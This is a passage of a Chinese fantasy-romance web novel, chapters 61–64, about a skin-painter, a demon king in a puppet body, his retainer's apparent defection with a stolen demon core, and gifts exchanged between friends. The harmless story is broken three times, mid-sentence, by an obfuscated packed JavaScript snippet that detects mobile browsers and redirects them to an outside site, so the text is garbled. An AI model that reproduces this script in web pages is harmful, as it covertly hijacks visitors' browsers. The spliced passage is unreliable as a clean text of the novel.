“那么劳烦你回复他,我能力不够,帮不上忙。”卫影拒绝了。 听到他毫不留情面的拒绝,霜叶忍不住笑了。 “你笑什么?”卫影很奇怪。 霜叶自然是在笑周玄玉太过自负,但她肯定不能说实话,只能胡言乱语道:“我在笑你的回答,很不错,很有勇气。” 这话到了卫影耳中,却显得刺耳。 卫影只当她是在嘲讽和威胁自己,当即冷下脸。 “怎么了?这就不开心了吗?”霜叶凑近打趣道,“再怎么说我们也是同类,何必闹得这么难看呢?” “……”叫她这般满不在意的样子,卫影更加生气。 “哇,你好大的胆子。”霜叶忽视嗅到了一股不寻常的气息,“你敢偷你君上的妖丹。” “你!”卫影明显慌了,后撤一步道,“你胡说些什么?” 霜叶也被他这个反应惊到了,她不过是随口这么一说,竟然还炸出了一些意外的收获。 “好了,这下事情好办多了。”霜叶笑的非常灿烂。 卫影心虚道:“你想干嘛?” “你跟我回去,如果你不回去,我就把你偷妖丹的事情告诉他。” 卫影被逼的左右为难。 他试图再挣扎一下:“你凭什么觉得他会相信你说的话?” “这需要相信吗?鼻子问一下就知道了。”霜叶直接戳破了他的说辞,还不忘扎心道,“看起来他也不相信你嘛,不然你干嘛要偷偷摸摸的?” “……”卫影哑口无言。 “放心吧,带你回去不会害死你的。”霜叶继续道,“而且我想,你应该也挺想见见周玄玉的吧。” 这话再次戳中了卫影。 “我跟你走。”卫影点头道,“有些事情,我要当面问问他。” 61. 第 61 章 晚上返回房间的百灵,第一时间就注意到少了一只眼睛的假人。 她吓得心脏砰砰跳,直到她意识到周延玉也在之后,才松下口气。 在百灵进门前,周延玉就察觉到她的动静,及时从角落里钻了出来。 比试结束后,百灵带着身体回来,周延玉就又化作了小狗的形态。 “你把妖丹取走了?”百灵犹豫着问,视线仍粘在那缺失的眼睛上。 “没有。”说话的同时,周延玉也将目光投向了独眼的假人。 “不是你拿的!”百灵再次警铃大作,仅仅思考了几秒,就准备再次出门,“我去给你找。” “不用。”周延玉叫住她,声音异常平静,“我知道在哪儿。” 百灵愣住。 他知道?还这么镇定? 她猜测道:“是卫影吗?你交给他保管了对不对?” “是他。” 百灵松了一口气,总算心安下来:“那没事了。” 可周延玉立刻又来了个转弯:“但不是我交给他的。” “什么意思啊?”百灵被这一来二去搞得晕乎乎的,不可置信道,“是他偷偷拿走的吗?” “是。” 为什么? 百灵疑惑之际,忽视想起一件事。 在去寻找周延玉身体的路上,卫影在门口却突然选择离开。 那时她还在奇怪,卫影明明在积极地劝她去找回周延玉的身体,怎么关键时刻他先打起退堂鼓了。 现在卫影又一声不吭直接拿走了周延玉的妖丹。 种种迹象,都指向了一种可能,卫影或许叛变了。 但百灵还是不愿意相信。 周延玉的反应也很奇怪,就这样眼睁睁看着卫影拿走了。 所有他是早就有所察觉吗? “周延玉。”百灵认真道,“我觉得你们可以好好聊一聊。” 百灵本意是劝和,但周延玉却错解了她的意思:“恐怕不只是聊一聊,得打一架了。” 百灵赶忙劝阻:“千万别,你可不要冲动,说不定是有什么误会呢,不然我替你去问问他,怎么样?” “我是可能会误会他,但回溯不会。”周延玉摇了摇头,“我大概能猜到,冥婚那次他到底在跟谁说话。” “和谁?” 百灵想起来了,周延玉曾经是跟他提过一嘴回溯的事,只是那个时候她正在气头上,没有多想。 “周玄玉。”周延玉一顿,又道,“我的哥哥,新的妖王。” 事情一下子变得明了,卫影大概率是投诚了新任妖王。 尽管证据确凿,但百灵总觉得不是这样的,没那么简单。 “我曾经以为,他是永远不会背叛我的人。” “不行我还是得去当面问问卫影,他究竟为什么这样做?” “我知道为什么。”周延玉叹了口气,“他觉得在我这里得不到重用,没有前途,所以选择新的人。” 对于他的这番解释,百灵是认可的。 周延玉为了保护卫影,主动被动隐瞒了他很多事情,卫影从中感到不被信任,作为旁观者,百灵可以看出来。 她可以理解为卫影或许心中对于周延玉有怨气,但也不至于走到这一步吧。 “我们一起长大,我了解他。”周延玉不自觉开始回忆往事,“其实他一直非常渴望得到认可,证明自己的价值,所以总是争着抢着做那些最危险的事。” “可能他只是一时糊涂而已,毕竟你看你们这么多年的情分。” 百灵试图抓住可用的细节替卫影找补。 “他不糊涂。”周延玉说完长吁一口气,带着点自嘲的语气道,“也许糊涂的人是我。” 周延玉身上流露出罕见的沮丧。百灵看在眼里,却不知该如何安慰。 在这种事情上,她真的很笨拙。 “不管怎样。”她转移了话题,“得先把你的妖丹拿回来,这才是最重要的,万一出什么事……” 虽然百灵认为卫影不会,但总得做好最坏的打算。 “不急。”周延玉却道,“不如等等,看他究竟想做什么。” “这怎么能不急!”百灵简直无法理解,“那可是你的命啊!” “你当初独闯险地找花珀的时候,”周延玉静静反问,“怎么没想想自己的命呢?” 百灵一时语塞。 两个同样不惜命的人,谁也没资格说谁。 其实周延玉并非不担心出事,他只是想赌一次,赌卫影良知未泯,赌他们之间那么多年的兄弟情谊,不会如此轻易就碎得干干净净。 周延玉很落寞,他其实并不想和卫影走到这一步。 昨晚卫影找借口不来决赛现场时,周延玉就已经明白他生气了。 因此他特意支走百灵,在她房间守株待兔。 没想到最糟糕的事情还是发生了。 百灵迫切希望自己能帮上什么,因此提议周延玉出去散步:“外面的风很凉快,要不要出去走走。” 周延玉思考片刻,随后同意了。 “你要不还是附身在这个身体上吧。”临走前,百灵建议道,“不然我走在路上和一只狗说话有点奇怪。” “好。” 出门前,百灵还细心找了块纱布堵住了周延玉那只空洞的眼睛。 “我是真的觉得你们之间有些什么误会。”百灵忍不住又提起卫影,“上次我本来是不打算去找身体的,是卫影极力在劝我,还带我找到了那个密室。” 周延玉一下抓住了漏洞:“他都带你找到了密室,为什么不跟着你一起进来。” 说完,他又质疑道:“霜叶的气息很明显,他不会感受不到。” 百灵抿了抿唇,无比后悔自己为什么要说这个疑点重重的事。 “他是怎么劝你呢?”周延玉顺势就着百灵开启的话题继续道,“我很好奇。” 周延玉很难想象卫影是说了什么能打动当时几乎一蹶不振的百灵。 “嗯……”百灵有些迟疑。 “怎么?他是说了什么见不得人的秘密吗?”百灵这般表现,让周延玉更加好奇。 “他告诉我这具身体的骨架子是你的。”说完百灵又立刻补充道,“你别怪他,当时情况特殊,他是担心你才说的。” 但周延玉此刻的心思已经不再卫影身上。 “所以你是为了我……我的骨架,才来的吗?” “是,但也不全是。”百灵坦诚道,“一方面我觉得很对不起你,还有就是我自己也舍不得你这副我做了这么久的身体。” 百灵说了这么多,周延玉似乎只听到了最后“身体”两个字。 又是身体。 虽然周延玉不得不承认百灵做的身体阴差阳错和他自己本人的相似度很高,但他同时清醒地明白百灵喜欢的是她自己的作品,和他本人没有任何关系。 “阿嚏——” 夜晚的风比百灵想象中更凉,出来的着急,她也没有多穿衣服,只能将单薄的衣服用手裹紧些。 “要妖力吗?” “啊?”百灵一时间没反应过来,抬头问,“要妖力干嘛?” “你不是冷吗?”周延玉解释道,“有了力量就会温暖起来了。” “哦。”百灵懵懂点点头,随即错开了话题,“你的妖力还有这用途。” 她想到了在密室里,周延玉紧紧牵着她的手,将力量源源不断输入到她身上的情景。 那时情况特殊,她没有多想。 可是现在不知为何,她想到又要和周延玉牵手有些紧张了。 “要吗?”周延玉以为她是不好意思,再次询问道。 “……好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209888|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >百灵故作轻松的模样,大方伸出了自己的手,等待周延玉像上次一样自然牵住。 但这一次,周延玉只是抓住了她的手腕,而且还是隔着衣袖。 百灵莫名有些失落。 “还冷吗?”周延玉看出她不对劲,但却想错了方向。 “没有,我好多了。” 百灵明显感觉到,自己的身体很乐意和周延玉靠近。 但她不知道,这样的感觉是因为对这具身体的喜爱,还是因为身体里的主人。 自从周延玉当众站出来替她说话后,这种感觉就越发强烈。 “对了,我还没来得及谢谢你呢。”百灵想起周延玉为她挺身而出,动容道,“那个时候我真的不知道该怎么办才好。” “没什么。”比起百灵的重视,周延玉却显得云淡风轻,“上次在密室你不也帮了我,两清了。” 两清……了吗? 本来百灵还觉得难以偿还周延玉这份恩情,按理说周延玉这样说她应该心安许多。 但她却一点开心不起来。 “你这样当众暴露自己,会不会有危险啊。”百灵又就着这个话题道,“他们好像对你的身体虎视眈眈的。” 百灵起初以为丢失身体是为她做的局,但看到妖怪霜叶后,她知道事情没那么简单。 “短时间我想他们不会有所行动。”周延玉道,“放心吧,我会帮你保护好这具身体的。” 百灵郁闷,她明明是在关心他,怎么又扯到帮她保护身体了。 “你呢?以后打算做什么?”周延玉将话题转向了百灵,“当众和叶知舟叫板,恐怕很难在这混下去了。” “好歹我也算是彻底和他割席了,如果他真的要赶尽杀绝,大不了我就回家去,那里还有很多老顾客等着我呢。” 百灵只是在做最坏的打算,但周延玉却默认了这是即将发生的事实。 “那我们也该说再见了,妖界的事我还没查清楚,还不能走。” 百灵震惊不已,周延玉就这么急着和她分开吗? 他不是喜欢自己吗,难道不应该挽留吗? “怎么了,你不会舍不得我吧?” 周延玉带着点开玩笑的语气问出了自己的心里话。 “对啊。”百灵假装潇洒,“你走了可是要带走我最满意的作品,当然舍不得了。” “你实在想要的话,我可以给你留下。”周延玉无奈叹了口气,“我可以用你之前给我那具身体,反正这么久也习惯了。” “我才不呢!”百灵当即反驳,语气中带了几分嗔怒,“我一个都不给你。” “这么狠心吗?”周延玉读不懂百灵突如其来的怒意,企图缓和气氛,“那我只能变成小狗离可怜巴巴离开了。” 周延玉句句话不提离开,百灵气不过,抬手在他身上用力锤了一拳:“你有本事现在就走。” 周延玉更懵了,百灵这是什么意思。 是希望他走,还是不希望。 百灵捶完他之后立刻后悔了,觉得自己情绪太外露了,周延玉会不会看出些什么。 明明不久前她还在苦恼周延玉喜欢她她该怎么回避这份喜欢,可现在她发觉周延玉似乎已经不再喜欢可以果断离开她之后,反而更苦恼了。 但她也不敢奢望,周延玉能继续选择留在她的身边,毕竟他是妖王,有自己的使命,总有一天还会回到妖界,那时他们才是真的分别。 他们注定是两条路上的人。 “你怎么了?”注意到百灵低落的情绪,周延玉小心翼翼道。 “没事,今晚的话,你就当我没说过。” 百灵一副冷静疏离的样子。 “……” 周延玉心也凉了半截,果然是他想多了,还以为百灵多少会对他有那么一点点的不舍。 不过是自作多情罢了。 62. 第 62 章 画皮比试已经结束,百灵觉得自己已经没有理由在住在和宋清河一起的客栈里了。 白住的这阵子,她时不时服侍宋清河洗漱沐浴,除此之外,宋清河也没在使唤她干过其他的事。 所以百灵自认为在这方面,她还是亏欠宋清河的。 更何况比试前一天她还对宋清河说了难听的话。 要不是宋清河,恐怕她真的不会站在那个决试的台上,而是灰溜溜躲在自己的房间,以为逃避事实就会过去。 思及此,愧疚感更如藤蔓缠绕心间。 百灵想了想,自己也拿不出什么贵重的东西,不如把那枚自己用命换来的花珀送给宋清河好了。 毕竟如果不是她,自己也不会有获得花珀的机会。 就是周延玉又要少一只眼睛了。 两头总是不能兼顾,不过百灵还是决定把花珀送给宋清河,周延玉的眼睛她会另外想办法。 做好决定后,她找了快体面的帕子将花珀包裹起来,在拿出个牢固的盒子装了起来,盒子外面还有她自己曾经亲手画下的彼岸花。 希望宋清河不要介意这个略显朴素的外表。 收拾好一切,她带着礼物来到了宋清河的房间。 叩响宋清河的房门时,门恰好从里拉开。 两人迎面撞见,俱是一愣。 “来得正好。”宋清河先回过神,侧身让开,“我也有事寻你,进来吧。” 屋内,两人对坐,一时无言。 “你先说。”各怀心事的二人异口同声道。 随即,两人相视一笑,那点微妙的尴尬悄然化开。 宋清河率先开口:“那我先吧,再过几日我准备回家了,客栈这里你们尽管住下去,我已经给都打点好了。” 宋清河说出的话完全在百灵意料之中。 “你要回家吗?”她最惊讶的是这一点,“你家人不是……” “是,他们是看不起我画皮,但今时不同往日。”宋清河莞尔一笑,“我可是第一名,就算是你让给我的,也是我的运气,怎么不算实力的一部分呢。” “哦哦,我还以为你要放弃画皮,回去继承家业了。” 得知宋清河要回家证明自己,百灵忽视很支持她的这个想法。 “那也说不定。”宋清河话锋一转,“万一我家的纸扎人需要我也不一定。” 百灵被她逗笑了。 “你能得第一名也是实至名归,和我没什么关系,你说的很好,我们做人做不成,死了做鬼还不能自由自在的话,那该多难受。” 宋清河却轻嗤一声,笑容里透出些微讽:“听听得了,这种话说出来我自己都不信,你相信吗?这鬼界真正自由的鬼又有多少。” 百灵耸了耸肩,笑道:“至少是个美好的期望。” 她不惊讶宋清河是为了比试说的好听的场面话,因为她知道宋清河内心同样向往着自由,不然她完全可以说其他的漂亮话。 “我帮你,你的学徒,还有卫影,都续了客栈的房间。””宋清河下巴微扬,带着惯有的那点小傲气,“你打算如何谢我?” 太好了,百灵正愁该怎么开口送她花珀的事,宋清河这个提问很适时。 “宋小姐大恩大德无以为报。”百灵笑着从衣袖拿出包裹好的花珀,“这个送给你。” 宋清河怔住了。她本是随口一提,未曾想百灵真备了礼。 “打开看看。”百灵迫不及待催促道。 她迟疑地接过,褪去帕子,那枚温润流光的花珀静静躺在掌心。 “这……你要将它赠我?”宋清河指尖轻触冰凉的珀体,抬眼确认,“确定吗?” “确定。”百灵点头,眼神恳切。 宋清河依旧困惑:“为什么是我,你那个假人怎么办?” “感谢你上次苦口婆心地劝我。”百灵顿了顿,有些为难道,“……我的态度很不好,对不起。” “你该感谢的人是你自己。”宋清河温和道,“我也从未怪过你。” “那你要收下,我才相信你不怪我。”百灵顺势道。 “我自然是想要的,只是你那位……” “不用管,我会再想办法。” 宋清河颔首,确认了百灵的心意,也不再客气,欣然收下。 静默片刻,她忽然抬眸,目光如镜,直照百灵心底:“决赛台上,那个开口说话的假人,是小骨,对么?” 起初宋清河并不想把小骨和那个陌生出现的人联系在一起。 但这段时间的相处,宋清河从未见过百灵身边出现第三人。 而且她亲手为百灵的假人描摹过,确定那就是个假人,不是什么只剩个骨架子的可怜鬼。 只有小骨可能在那种场合站出来替百灵说话。 唯一的疑点在于小骨怎么到了那个假人身上。 不过宋清河很快意识到这阵子似乎都没有看见小骨,准确来说,是小骨那具身体。 所以只有一种可能,小骨是妖怪附身到了那具身体中。 宋清河能想到这一点上,还要拜百灵所赐,在第一场比试之后,是她告诉自己妖怪可以附身。 而且这也解释了为什么小骨能发现他们身上的标记。 面对宋清河笃定的语气,百灵直接僵在原地。 她是怎么知道的? 卫影告诉她的?不对啊,决赛那天他根本不在…… 百灵哑口无言,半晌,才讷讷道:“你怎么会这么想?” 宋清河言简意赅:“直觉。” 百灵略松了口气,如果是直觉的话,那宋清河应该是靠自己猜到的。 “你不否认的话,那我是说对了?”果然,宋清河再次追问。 百灵无奈点头。 她不是没想过撒谎,但凭空蹦出来这么大的人,她也不好解释。 而且已经骗过宋清河一次了,她也不想再来。 “我还有个问题。”宋清河向前倾了倾身,压低声音,“小骨,究竟是男是女?” 这同样还是宋清河的猜测,小骨的言行举止,在她看来,是男的也说得过去,而且在第二次比试之时他抽中的是新娘角色,看起来也是十分为难。 当然除了推测,问这个问题也有她自己的私心。 百灵再次震惊,宋清河怎么连这个都能看出来的? 她纠结要不要同宋清河说实话。 “我没有别的意思,只是好奇。”宋清河看出她的犹疑,“如果这是需要隐瞒的秘密,我会帮你保守,保证不会有第三个人知道。” 说都说了,也不差这一件事了。 百灵挣扎片刻,终是坦白:“是男的。” “哦。”宋清河做出一个意味深长的表情,“那你做的身体,是为了给他的吗?” 百灵已经对宋清河精准的直觉甘拜下风。 “是,但也不全是。” “那你现在把他的眼睛自作主张给了我,不怕他生气吗?”宋清河笑着戏谑道。 “花珀本就是我拿命换的,”百灵嘴硬,底气却不太足,“他生气也无用。” “你这是仗着他……”宋清河话语微顿,眸光清亮,“偏爱你,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214847|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有恃无恐?” 宋清河一针见血,她知道百灵不是无理取闹的人。 百灵心头一慌,急忙辩解:“他、他也没多喜欢我” “那你呢?”宋清河打断她,问得直接,“你可中意他?” 百灵怔住,眼中浮起真实的迷茫:“我不知道。” “这怎么会不知道?”宋清河不解,“你和他在一起开心吗?会忍不住想靠近他吗?看见他难过你会心疼吗?” “我不分清楚。”百灵眉头紧皱,“分不清我对他的感情到底是因为他是我的作品,还是因为别的。” “为什么非要分清呢?”宋清河提出了一个新的思路,“这二者难道冲突吗?再说了,你真的可以剥离干净对于作品的感情吗?这很难吧。” 百灵似懂非懂点点头。 “好了不说他了。”宋清河岔开话题,“我走之后,你有什么打算吗?” “我准备就在路边支个摊子,当街画皮。” 百灵想好了,自己要现试着在幽都靠自己闯一闯,如果实在是待不下去了,再回家去。 “如果叶知舟为难你怎么办?”宋清河担忧道。 “光脚的不怕穿鞋的,我都这样了,再差反正也不过就是离开这,走一步看一步吧。”百灵倒是很洒脱。 “我可以帮你在幽都盘一间小一点的铺子画皮,这样也不至于流落街头。” “不用了。”百灵摇头,“你能帮我们续下这个客栈,让我有个容身之处,我已经很感激了。” “这样的话,你可不能再拒绝我第二次了。” 宋清河说着从床边拿起一个乌木首饰盒,递给百灵。 “这是给我的?”百灵受宠若惊。 “嗯,就算是送别礼物吧。” “我现在能打开看看吗?” 宋清河欣然点头。 在宋清河鼓励的目光下,百灵小心打开盒盖。柔光衬里,卧着一只瓷碗。 胎体轻薄,釉色青翠,碗壁缕雕着莲花荷叶,玲珑剔透。 “这是青釉玲珑瓷。”宋清河介绍道,“你对着光看。” 百灵依言,将碗轻举至烛火旁。 光线透过碗壁镂空的孔隙,洒下细碎斑驳的光晕,整只碗宛如笼罩在一层朦胧光华中,美得不似凡物。 “真美……”她由衷赞叹。 “这是我母亲为我备下的嫁妆。”宋清河语气平静。 “嫁妆?!”百灵手一抖,险些拿不稳,急忙要将碗放回,“这太贵重了,我不能收。” “拿着吧。”宋清河按住她的手,目光坦然,“我此生,并无嫁人之意。” “这只是你现在的想法,万一……” “没有万一。”宋清河打断她的话,“就算有,这样的碗我宋家照样拿得出手。” “可是……”百灵依旧有所顾虑。 “没什么可是的,礼尚往来,你送我的花珀我不也收下了吗?所以你不能拒绝我。” 道理是这样没错,但宋清河之前并未想过百灵会送她礼物,礼尚往来不过是巧合罢了。 “你如果觉得收下不好意思的话,那我以后给你来信询问你画皮的事情,你可要及时回复我。”宋清河又道。 “你知道的,就算没有这个,我也会回复你的。”百灵一语道破她的体贴。 “你收了,我请教起来,才更心安理得。”宋清河笑道。 百灵拗不过她,只得将木盒抱在怀中。 她在心中暗想,此物便暂由她保管,要是以后宋清河反悔了要成亲,她一定会原物归还的。 63. 第 63 章 重新返回妖界,卫影久违体会到了自由的感觉。 不用伪装自己,束缚自己的力量,担心身份暴露。 再回去之前,霜叶特地给卫影准备了一具身体,和之前化形的自己几乎一模一样。 霜叶说这具身体是周玄玉为了讨好他命人制作的。 卫影本不想收下,但更不想化成犬形回到妖界。 “他连我都知道讨好,怎么不让人把你的手给补好。”卫影借此机会试探霜叶。 “我才不稀罕。”霜叶毫不在意道。 “你是什么时候为他办事的,我在妖界怎么从没见过你。” 见霜叶不接招,卫影又换了个话题。 霜叶懒懒抬起眼皮,见招拆招:“那只能说明他是保密功夫做的很不错。” 卫影不依不饶:“你们豹妖一族和我们犬族素来不和,你是怎么心甘情愿替他做事的?” “他们是他们,我是我。”霜叶一笑置之,“我才不管这些,哪里对我有利,我就向着哪里。” 卫影想到自己,从某种程度上来说,他确实和霜叶相像,只是霜叶的家族是反叛者,而自己的家族是忠诚者。 但他们又都走上了同一条路。 好不容易霜叶多说了几句话,卫影当然不放过这次机会,继续追问:“君上还活着,而周玄玉的位置名不正言不顺,你就不怕哪天他被人赶下台,波及到自己吗?” 霜叶还是一副无所谓的态度:“怕什么,我还不至于蠢到他完蛋了,我要跟着去受苦呢,自然是先走一步了。” 很显然,她这种完全利己的思想和自己截然相反,在卫影心中,一个忠诚的部下可以为了君主牺牲自己的生命。 因此他忍不住义愤填膺道:“你这样三心二意,自私自利,会遭报应的。” “我遭报应?”霜叶笑了,匪夷所思道,“你一个偷主子妖丹的人有什么资格说我?我们俩也算是半斤八两了。” 卫影立刻为自己辩解,试图撇清自己和霜叶:“我那是为了保护他!我和你才不一样。” “行行行,随你怎么说。”霜叶懒得和他争辩,不耐烦道,“主殿到了,里面就是你想见的玄玉哥哥,快进去吧。” 两人说着说着,已经走到了一座高大的殿前。 眼前殿宇巍峨,肃穆庄重,与冥界的阴森混沌截然不同。卫影对这里太熟悉了,每一根廊柱,每一处浮雕,都刻着过往岁月。 殿内,王座高踞,座上之人,正是周玄玉。 卫影曾日夜修炼,只为有朝一日能堂堂正正立于那王座之侧,护卫整个妖界最至高无上的王。 如今王座依旧,其上之人却已不同。 周玄玉端坐如松,神态自若,竟无半分忸怩,反倒显得正气凛然。 想到被逼远走、连妖丹都难以保全的周延玉,卫影胸中憋闷,在殿中站定,微侧过身去。 “别来无恙,卫影。”周玄玉主动开口,声音温和。 “……”卫影别过头去,用身体姿态表示自己内心的抗拒。 他不是不接受周玄玉,只是不能忍受自己一心侍奉二主。 周玄玉见状,慢慢从王座上起身,缓步走下台阶,一步步来到卫影身前,和他平视道:“怎么样,新身体总得可还舒坦?” “舒坦。”卫影硬邦邦回道,“但总不如你这王位坐得舒坦。” 周玄玉并不恼怒,而是苦笑一声:“妖界不可一日无主,我坐上这个位置,也是形势所迫。” “形势所迫到要把我们赶尽杀绝吗?” 卫影受够了他这副苦大仇深,就只有自己才有苦衷的模样。 他为了隐藏身份,躲在一具并不属于自己的身体里,还要屈居人下当牛做马给人当学徒。 他一心一意想着君上和妖界,但却一次又一次被无情隔绝在外,他也并不容易。 “你冷静些,卫影。”周玄玉看出他情绪激动,晓之以情动之以理道,“我若真想对你们赶尽杀绝,现在你就不可能好端端站着和我说话。” “要动手早动手了,我还犯不着和你打一路嘴仗。”霜叶在一旁附和道,“也没必要辛辛苦苦就为了抢一具没用的身体回来。” 卫影情绪稍缓,冷静质疑道:“那为什么只带我一个人回来?还不告诉君上。” “因为妖界需要你,卫影。”周玄玉向前一步,语气恳切,“冥王邀我面议两界大事,但有妖怪带头搞事情,只认延玉为代表。我需要你出面,佐证延玉确有要事在身,暂将妖界大事托付于我。” “我若是不愿作证呢?” 周玄玉沉默片刻,再开口时,声音沉重:“那便是妖界对冥王失约。以此为借口,冥王或会上告天界,届时妖界恐遭天罚。” 卫影瞳孔微缩。他盯住周玄玉:“我可以帮你。但你要如实答我几个问题。” “你说,我一定知无不言。” “你和叶知舟到底是什么关系?” 虽然最初周玄玉表示并不认识叶知舟,但霜叶差点盗走周延玉的身体,这其中少不了叶知舟的运作。 “叶知舟是冥王的亲信,我没法直接接触冥王,只能讨好他,把霜叶送过去,一是为了让他信服,二是为了监视他。” 卫影顺着他的话继续深入:“他是冥王亲信,而且又处处针对我们,背后是不是受了冥王的指令。” “不会,他是一个彻头彻尾的商人,对于冥王也不过是基于共同利益的合作,我早就提前打点过,他不会对你们怎么样。” 卫影依旧犹疑:“可他为什么总是有意无意针对我们?” “有没有可能,他不是针对你们,而且针对你们身边某个人。”霜叶双手抱臂,插话道,“恰巧你们又出现在这个人身边。” 她的暗示很明显了。 卫影也瞬间反应过来:“你是说百灵?” 霜叶点头:“我听说叶知舟早就有意把百灵招揽麾下,但百灵无意,你觉得像叶知舟这样的人,会轻易放过她吗?” 这样的解释,卫影有几分信了。 周延玉确实自从和百灵结盟后,就和叶知舟扯上了联系。 卫影暂且放下了这个问题,转而抛出第二个话题:“那之前发生的妖怪附身鬼魂的事情,又怎么解释?” 他之所以提到这个,是觉得周玄玉失职了。 他既然现在坐上了王的位置,就应该履行相应的职责,维护好两届的和平,严格执行妖鬼盟约。 “规矩是死,妖是活的。”周玄玉叹息,“总有个别在妖界活不下去的,想铤而走险逃去冥界。难道要将这几只败类的行径,归咎于整个妖界?” “你不会以为,之前君上在位的时候,这种事情从没发生过吧。”霜叶嗤笑道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216707|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也太天真了。” 卫影被他们二人一唱一和,堵的说不出话。 “最后一个问题,”卫影直视周玄玉,定定道,“我与君上还要躲到什么时候?” “至少,待我与冥王见面之后,为妖界争得该有之利。”周玄玉眼神坦荡,“若此时出面的是延玉,以他的性情,恐会激起两界争端,我出面,至少能周旋其中,求一个安稳。” “可待到那时,你成了妖界的功臣,”卫影声音发涩,“君上却成了缩头的懦夫,还有谁会认他?” “卫影,我所行一切,皆为妖界。你素来明理,当知何种选择,对妖界最好。” 周玄玉叹息一声,又接着道:“若我真想同他争,早年便争了,何必等到现在,我年长于他,未必会输。” 殿内寂静。卫影垂在身侧的手,缓缓握紧,又松开。 他认可周玄玉的意思,作为和周延玉一母所生的兄弟,他们都继承了母亲优秀的体格,实力可谓不相上下。 而周玄玉性格稳重识大体,一直更被看好。 只是一点,他不是上一任妖王的后代,血统上不够纯正。 周延玉年纪小好把控,逐渐被有心人推上了王位,可他们最终也没能得逞,权力又被周延玉夺了回去。 “……是我多虑了。”他终于低声道。 “不,你思虑周全,是好事。”周玄玉抬手,似想拍他肩,却又放下,只温言道,“我一直看重你,相信你会做出最利于妖界的抉择。” 卫影颔首,心中那根紧绷的弦,几不可察地松了一丝。 周玄玉望向殿外晦暗天色,轻声道:“说实话,坐在这个位置上,我如履薄冰,时常梦见延玉归来,接替这一切,可惜啊,世事总不遂人愿。” …… 霜叶送走卫影,自己却被留在了空旷的大殿里。 殿门无声合拢,光线陡然晦暗。 周玄玉脸上那层温润的假面如同潮水般褪去,取而代之的是一种冰冷的审视。 “我让你带卫影回来,”他开口,声音里没了半分温度,“没让你从中挑拨。” 霜叶抬了抬眼,脸上迅速摆出一副无辜神情:“我不过是说了几句实话,你可别污蔑我?” “你心里在想什么,我一清二楚,霜叶。”周玄玉的目光冷得像冰,轻易刺破她那层脆弱的伪装,“你想两头通吃,好为自己谋后路,是吧?” 霜叶迎着他的视线,既不承认,也不否认。沉默本身就是一种答案。 “至少,”她忽然扯开话题,嘴角勾起一丝辨不清意味的弧度,“卫影可比先前更信您几分了,不是吗?” 她在刻意绕过那个尖锐的指控。 “你要知道,背叛旧主,是要被抽筋扒皮的。”周玄玉眼底的寒意更浓,声音压得极低,警告道,“不要以为你在我这里会是例外。” “放心,我没那么自作多情。”霜叶嗤笑一声,“你的铁石心肠,我早就见识过了。” 空气仿佛凝固了一瞬。 周玄玉盯着她看了许久,那目光似乎要将软硬不吃的她吃进腹中。 最终,他微微向后撤开半步,收回了某种无形的压迫。 “……自己明白就好。”他转过身,声音恢复了平淡,却依旧带着上位者的威压,“下不为例。” 四个字,轻飘飘落下,却重若千钧。 64. 第 64 章 画皮比试尘埃落定,叶知舟做东,在无忧阁设下送别宴。 白夭夭眼巴巴盼着,以为至少能见上百灵一面。可直至宴开,莫说百灵,连宋清河的影子都没瞧见。 倒霉的白夭夭甚至特意被叶知舟安排坐在他身边,服侍他夹菜倒酒。 白夭夭心头火起,索性一个劲给他杯中添酒,又怂恿席间众人轮番敬他。 不多时,叶知舟面上便浮起醉意的酡红。 白夭夭还没来得及幸灾乐祸,更加头疼的事情发生了。 叶知舟醉了之后,谁都不认,只翻来覆去含糊念着“夭夭”,旁人稍稍靠近搀扶,他便蹙眉挥手,非常抗拒。 “他是装的对不对?故意整我呢?”白夭夭肠子都要悔青了。 一旁被推出来求助的小厮苦着脸:“夭夭姐,我们也是头回见叶老板醉成这样,您心善,帮帮忙,搭把手送他回房吧……” 白夭夭耳根子软,经不住央求,到底还是骂骂咧咧地架起了叶知舟。 她一路跌跌撞撞,几乎是拖着他挪回房间,到了床边,更是泄愤般将人重重摔进锦褥里。 “怎不喝死你!”她啐了一口,转身便要走。 “夭夭……” 手腕忽地被一股力道攥住,白夭夭猝不及防,向后一个趔趄,跌坐在床沿。 她又恼了,回身便是一拳狠狠捶在他胸口。 叶知舟吃痛闷哼,眉头紧蹙,却就势将她那只行凶的手也一并捉住,牢牢按在身前。 “松手!叶知舟!”白夭夭使劲挣扎,手腕却被箍得更紧。 “不要。” 他答得干脆,甚至得寸进尺地用另一只手也覆上来,将她两只手腕并在一处握着,像个固执的孩子抓牢心爱的玩具。 “好,你有本事就别松!”白夭夭气极反笑,“等你松了,看我不掐死你。” “不松。” 